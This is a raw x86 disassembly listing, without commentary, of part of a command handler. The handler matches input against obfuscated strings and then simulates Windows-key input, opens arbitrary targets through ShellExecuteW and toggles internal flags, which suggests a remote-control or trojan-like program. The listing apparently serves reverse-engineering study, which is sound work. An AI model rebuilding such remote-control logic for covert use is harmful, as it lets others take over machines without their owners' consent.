mov dword [ebp - 0x70], 0
call fcn.00547e47
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [ebp - 0x74], eax
lea edx, [ebp - 0x74]
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0xb4]
call fcn.00445930
mov esi, dword [ebp - 0x34]
lea eax, [ebp - 0x74]
push eax
mov ecx, dword [esi + 0xc]
call fcn.00414be0
mov eax, dword [ebp - 0x74]
push dword [eax + 4]
lea eax, [ebp - 0x74]
push eax
mov ecx, eax
call fcn.00451570
push 0x2c
push dword [ebp - 0x74]
call fcn.00547d61
add esp, 8
mov dword [ebp - 4], 0x42
jmp 0x522d7f
mov edi, dword [esi]
sub esp, 0x18
mov ecx, esp
push 0x5c20dc
call fcn.0042c650
lea ecx, [ebp - 0x2c]
call fcn.004430f0
add esp, 0x18
mov eax, dword [eax]
nop dword [eax]
mov cx, word [eax]
cmp cx, word [edi]
jne 0x522dc6
test cx, cx
je 0x522dc2
mov cx, word [eax + 2]
cmp cx, word [edi + 2]
jne 0x522dc6
add eax, 4
add edi, 4
test cx, cx
jne 0x522da0
xor edi, edi
jmp 0x522dcb
sbb edi, edi
or edi, 1
mov edx, dword [ebp - 0x2c]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x522de6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test edi, edi
je 0x521c14
push 0x3b
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.TXVPRcTZX1LgE9UV29L1bQ5tYAiUaKOC46eHCEVVIgJtqS28YzLhgjQVzIM
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0xd0], 0
movups xmmword [ebp - 0xe4], xmm0
call fcn.0042b6f0
push 1
push ecx
mov byte [ebp - 4], 0x4b
lea eax, [ebp - 0xe4]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042c650
mov ecx, esi
call fcn.004430f0
add esp, 0x18
mov ecx, edi
call fcn.0045d460
mov ecx, dword [ebp - 0xd0]
cmp ecx, 8
jb 0x521c14
mov edx, dword [ebp - 0xe4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x522e86
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x524696
push ecx
push edx
call fcn.00547d61
add esp, 8
jmp 0x521c14
sub esp, 0x18
mov ecx, esp
push 0x5bd700
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
test edi, edi
je 0x522ef5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522ec0
sub ecx, dword [ebp - 0x2c]
je 0x522ef5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522ef5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x522ee0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005591e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x522efc
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x522f30
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522f26
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x524696
push ecx
push edx
call fcn.00547d61
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x522fc4
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x4c
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522f70
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.00524af0
mov esi, dword [ebp - 0x34]
lea edx, [ebp - 0xb4]
add esp, 8
mov ecx, esi
cmp dword [ebp - 0xa0], 0x10
cmovae edx, dword [ebp - 0xb4]
call fcn.00524880
test al, al
je 0x521c14
mov byte [esi + 0x9c], 1
jmp 0x521c14
sub esp, 0x18
mov ecx, esp
push 0x5bd718
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
test edi, edi
je 0x523025
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522ff0
sub ecx, dword [ebp - 0x2c]
je 0x523025
mov eax, dword [edx + 0x10]
test eax, eax
je 0x523025
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x523010
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005591e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x52302c
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x523060
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x523056
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x524696
push ecx
push edx
call fcn.00547d61
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x523235
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x4d
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5230a0
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.00524af0
mov ecx, dword [ebp - 0x34]
lea edx, [ebp - 0xb4]
add esp, 8
cmp dword [ebp - 0xa0], 0x10
cmovae edx, dword [ebp - 0xb4]
call fcn.00524880
test al, al
je 0x521c14
mov byte [ebp - 4], 0x4e
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x524740
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0xe4]
push 0x40
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.VjlTbcC0bPMgAmCG3NKFdkJxWETpQeJRUJwTjoeKMlYkjUnYDXc1JzeTiBSMK0Q
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0
call fcn.0042b6f0
lea ecx, [ebp - 0x298]
mov byte [ebp - 4], 0x50
call fcn.004327f0
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x298]
call fcn.004339d0
lea ecx, [ebp - 0x298]
call fcn.00432770
mov byte [ebp - 4], 0x52
lea esi, [ebp - 0x68]
cmp dword [ebp - 0x54], 8
lea eax, [ebp - 0xe4]
cmovae esi, dword [ebp - 0x68]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042c650
lea ecx, [ebp - 0x2c]
call fcn.004430f0
push esi
mov byte [ebp - 4], 0x53
push dword [eax]
lea eax, [ebp - 0x24]
push eax
call fcn.0041f790
mov edx, dword [ebp - 0x2c]
or edi, 0xffffffff
add esp, 0x24
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5231dd
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x50
call fcn.0042c730
push ecx
mov esi, esp
mov dword [ebp - 0x70], esi
mov eax, dword [ebp - 0x24]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0042c560
mov ecx, dword [ebp - 0x34]
add eax, 0x10
mov dword [esi], eax
call fcn.0051fe90
lea ecx, [ebp - 0xe4]
call fcn.0042c730
mov edx, dword [ebp - 0x2c]
lock xadd dword [edx + 0xc], edi
dec edi
test edi, edi
jg 0x521c14
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x521c14
sub esp, 0x18
mov ecx, esp
push 0x5bd760
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
test edi, edi
je 0x523295
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x523260
sub ecx, dword [ebp - 0x2c]
je 0x523295
mov eax, dword [edx + 0x10]
test eax, eax
je 0x523295
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x523280
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005591e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x52329c
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5232d0
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5232c6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x524696
push ecx
push edx
call fcn.00547d61
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x523414
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x54
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x523310
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.00524af0
add esp, 8
mov byte [ebp - 4], 0x55
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x5246a0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x57
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x5246a0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x58
push eax
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x9c]
call fcn.004497f0
add esp, 4
lea eax, [ebp - 0x3c]
push eax
call fcn.005247a0
mov ecx, dword [eax]
test ecx, ecx
je 0x5233c4
mov eax, dword [ebp - 0x34]
push ecx
push ecx
mov edi, esp
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x70], edi
mov esi, dword [ebp - 0x38]
mov dword [ebp - 0x2c], eax
lea ecx, [esi - 0x10]
call fcn.0042c560
mov ecx, dword [ebp - 0x2c]
add eax, 0x10
mov dword [edi], eax
call fcn.0045d460
jmp 0x5233c7
mov esi, dword [ebp - 0x38]
lea edx, [esi - 0x10]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5233e1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x3c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x5233f9
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x524601
mov edx, dword [ebp - 0x9c]
inc ecx
jmp 0x521c2a
sub esp, 0x18
mov ecx, esp
push 0x5bd910
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
test edi, edi
je 0x523475
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x523440
sub ecx, dword [ebp - 0x2c]
je 0x523475
mov eax, dword [edx + 0x10]
test eax, eax
je 0x523475
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x523460
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005591e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x52347c
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5234b0
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5234a6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x524696
push ecx
push edx
call fcn.00547d61
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x523681
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x59
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5234f0
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.00524af0
add esp, 8
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x5246a0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
push 0x58e88c
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x5a
call fcn.0042ce30
test al, al
jne 0x523552
push 0
push 0x58e88c
lea ecx, [ebp - 0x3c]
call fcn.0042d150
mov byte [ebp - 4], 0x5b
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x5246a0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
push 0x58e88c
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x5c
call fcn.0042ce30
test al, al
jne 0x523596
push 0
push 0x58e88c
lea ecx, [ebp - 0x44]
call fcn.0042d150
mov byte [ebp - 4], 0x5d
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x5246a0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x34], eax
push 0x58e88c
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x5e
call fcn.0042ce30
test al, al
jne 0x5235da
push 0
push 0x58e88c
lea ecx, [ebp - 0x34]
call fcn.0042d150
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x5f
push eax
lea eax, [ebp - 0x44]
mov dword [ebp - 0x24], 0
push eax
lea eax, [ebp - 0x34]
push eax
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x9c]
call fcn.00449c10
add esp, 0xc
lea eax, [ebp - 0x3c]
lea edx, [ebp - 0x34]
lea ecx, [ebp - 0x44]
push dword [ebp - 0x24]
push eax
call fcn.0044b700
mov edx, dword [ebp - 0x34]
or esi, 0xffffffff
add esp, 8
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x523634
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x44]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52364e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x3c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x523666
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x524601
mov edx, dword [ebp - 0x9c]
inc ecx
jmp 0x521c2a
sub esp, 0x18
mov ecx, esp
push 0x5bd7d8
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5236e5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5236b0
sub ecx, dword [ebp - 0x2c]
je 0x5236e5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5236e5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x5236d0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005591e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x5236ec
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x68]
call fcn.0042b580
cmp dword [ebp - 0x24], 0
je 0x523871
lea eax, [esi + edi]
push eax
lea ecx, [ebp - 0x3c]
call fcn.0042c070
lea eax, [ebp - 0x3c]
mov dword [ebp - 4], 0x60
push eax
call fcn.005247a0
lea ecx, [ebp - 0x38]
mov edi, dword [eax]
mov dword [ebp - 0x50], edi
call fcn.0041dfd0
push str.QkhSoeTlqGMwkyYanJDgYjNwKESsslNyY18ITwd6LT9wHQ2BtDJQpgiNS8
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x61
call fcn.0042c980
sub esp, 0x18
mov byte [ebp - 4], 0x62
mov esi, dword [ebp - 0x3c]
lea eax, [ebp - 0x130]
mov ecx, esp
push eax
call fcn.0042c650
lea ecx, [ebp - 0x2c]
call fcn.004430f0
push esi
mov byte [ebp - 4], 0x63
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.0041f790
add esp, 0x24
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0x2c]
call fcn.0042c150
lea eax, [edi - 4]
cmp eax, 0x3c
ja case.0x52378d.5
movzx eax, byte [eax + 0x524760]
jmp dword [eax*4 + 0x52474c]
mov esi, dword [ebp - 0x34]
lea ecx, [ebp - 0x68]
push str.bFZHIehd0IJgocUdH1aGF3QpsFRg_sIRMPQNzMTXAzg06WFZ2cPFgDxMCEf7Hh80XNRwzjKVhW8diEbgACUirBxEr
mov eax, dword [esi + 0xc]
mov dword [eax + 0x118], 0
call fcn.0042c980
push 4
push ecx
mov byte [ebp - 4], 0x64
lea eax, [ebp - 0x68]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042c650
mov ecx, esi
call fcn.004430f0
add esp, 0x18
mov ecx, edi
call fcn.0045d460
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x62
call fcn.0042c730
jmp 0x523830
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0xc]
mov byte [eax + 0x10b], 0
call fcn.00406ac0
jmp 0x523830
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x11c], 0
jmp 0x523830
mov esi, dword [sym.imp.USER32.dll_keybd_event]
push 0
push 0
push 0
push 0x5b
call esi
push 0
push 2
push 0
push 0x5b
call esi
jmp 0x523830
test edi, edi
je 0x523856
mov eax, dword [ebp - 0x34]
push dword [ebp - 0x50]
push ecx
mov edi, dword [eax + 0x10]
mov esi, esp
mov dword [ebp - 0x70], esi
mov ecx, dword [ebp - 0x38]
lea ecx, [ecx - 0x10]
call fcn.0042c560
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.0045d460
lea ecx, [ebp - 0x130]
call fcn.0042c730
lea ecx, [ebp - 0x38]
call fcn.0042c150
lea ecx, [ebp - 0x3c]
jmp 0x5245fc
sub esp, 0x18
mov ecx, esp
push 0x5bd8e0
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5238d5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5238a0
sub ecx, dword [ebp - 0x2c]
je 0x5238d5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5238d5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x5238c0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005591e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x5238dc
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x68]
call fcn.0042b580
cmp dword [ebp - 0x24], 0
je 0x523e88
xorps xmm0, xmm0
mov dword [ebp - 0xbc], 0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
mov ecx, edi
mov dword [ebp - 4], 0x65
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x523920
sub ecx, edx
lea eax, [ebp - 0xcc]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.00524af0
sub esp, 0x10
mov ecx, esp
push 0x5bda00
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x523964
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.004535b0
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x68]
call fcn.0042b580
cmp byte [ebp - 0x2d], 0
je 0x523a67
push 0xa8
lea eax, [ebp - 0x248]
push 0
push eax
call fcn.00549c10
add esp, 0xc
mov dword [ebp - 0x248], 1
mov eax, 0x5b
mov dword [ebp - 0x22c], 1
mov word [ebp - 0x244], ax
mov ecx, 0x10
mov word [ebp - 0x1f0], ax
mov edx, 0x53
push 0x1c
lea eax, [ebp - 0x248]
mov word [ebp - 0x228], cx
push eax
push 6
mov dword [ebp - 0x210], 1
mov word [ebp - 0x20c], dx
mov dword [ebp - 0x1f4], 1
mov dword [ebp - 0x1ec], 2
mov dword [ebp - 0x1d8], 1
mov word [ebp - 0x1d4], cx
mov dword [ebp - 0x1d0], 2
mov dword [ebp - 0x1bc], 1
mov word [ebp - 0x1b8], dx
mov dword [ebp - 0x1b4], 2
call dword [sym.imp.USER32.dll_SendInput]
lea ecx, [ebp - 0xcc]
call fcn.0042b580
jmp 0x524601
sub esp, 0x18
mov ecx, esp
push 0x5bda18
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x523a8c
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.004535b0
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x68]
call fcn.0042b580
cmp byte [ebp - 0x2d], 0
je 0x523ae2
push 0
push 0
push 0x44b640
call fcn.00553f1a
add esp, 0xc
lea ecx, [ebp - 0xcc]
call fcn.0042b580
jmp 0x524601
sub esp, 0x18
mov ecx, esp
push 0x5bda30
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x523b07
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.004535b0
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x68]
call fcn.0042b580
sub esp, 0x18
cmp byte [ebp - 0x2d], 0
mov ecx, esp
je 0x523c8c
push 0x5bd9d0
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov byte [ebp - 4], 0x66
cmp dword [eax + 0x14], 0x10
jb 0x523b66
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x34]
call fcn.0042c070
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x68
call fcn.0042b580
push 0xa
push 0
push 0
push dword [ebp - 0x34]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x523e70
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.NkprSNkY4yBFJDmKR8
lea ecx, [ebp - 0x44]
mov esi, eax
call fcn.0042d260
push str.VVJZsWCcNvOzE7XDTYoGMDwGSPScg1Nio
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x69
call fcn.0042d260
push str.d05CbUVEr6AT4T4K3900Gzs
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x6a
call fcn.0042d260
lea ecx, [ebp - 0x38]
call fcn.0041dfd0
push esi
push ecx
mov byte [ebp - 4], 0x6c
mov esi, esp
mov dword [ebp - 0x70], esi
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.0042c560
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.00443520
add esp, 4
mov byte [ebp - 4], 0x6d
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.0041f790
add esp, 0xc
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x2c]
call fcn.0042c150
push 0x58e88c
lea ecx, [ebp - 0x48]
call fcn.0042d260
push 0x58e88c
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x6e
call fcn.0042d260
push ecx
mov byte [ebp - 4], 0x6f
mov esi, esp
mov dword [ebp - 0x70], esi
mov ecx, dword [ebp - 0x3c]
lea ecx, [ecx - 0x10]
call fcn.0042c560
add eax, 0x10
lea ecx, [ebp - 0x50]
mov dword [esi], eax
call fcn.00443520
mov edi, eax
mov byte [ebp - 4], 0x70
mov dword [ebp - 0x70], esi
mov ecx, dword [ebp - 0x44]
add ecx, 0xfffffff0
call fcn.0042c560
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.00443520
add esp, 4
mov byte [ebp - 4], 0x71
mov edx, edi
jmp 0x523e1a
push 0x5bd9e8
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x523cac
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.004535b0
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x68]
call fcn.0042b580
cmp byte [ebp - 0x2d], 0
je 0x523e78
sub esp, 0x18
mov ecx, esp
push 0x5bd9e8
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov byte [ebp - 4], 0x72
cmp dword [eax + 0x14], 0x10
jb 0x523d0b
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x34]
call fcn.0042c070
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x74
call fcn.0042b580
push 0xa
push 0
push 0
push dword [ebp - 0x34]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x523e70
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.d0o2VWQc4iWT0CoKUI
lea ecx, [ebp - 0x44]
mov esi, eax
call fcn.0042d260
push str.cDMy1ZRNSVXgYv6VkAXaH0E
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x75
call fcn.0042d260
push str.dHlwJYVIcmMw4QEHE1E8GAw
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x76
call fcn.0042d260
lea ecx, [ebp - 0x38]
call fcn.0041dfd0
push esi
push ecx
mov byte [ebp - 4], 0x78
mov esi, esp
mov dword [ebp - 0x70], esi
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.0042c560
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.00443520
add esp, 4
mov byte [ebp - 4], 0x79
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.0041f790
add esp, 0xc
mov byte [ebp - 4], 0x78
lea ecx, [ebp - 0x2c]
call fcn.0042c150
push 0x58e88c
lea ecx, [ebp - 0x48]
call fcn.0042d260
push 0x58e88c
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x7a
call fcn.0042d260
push ecx
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 0x7b
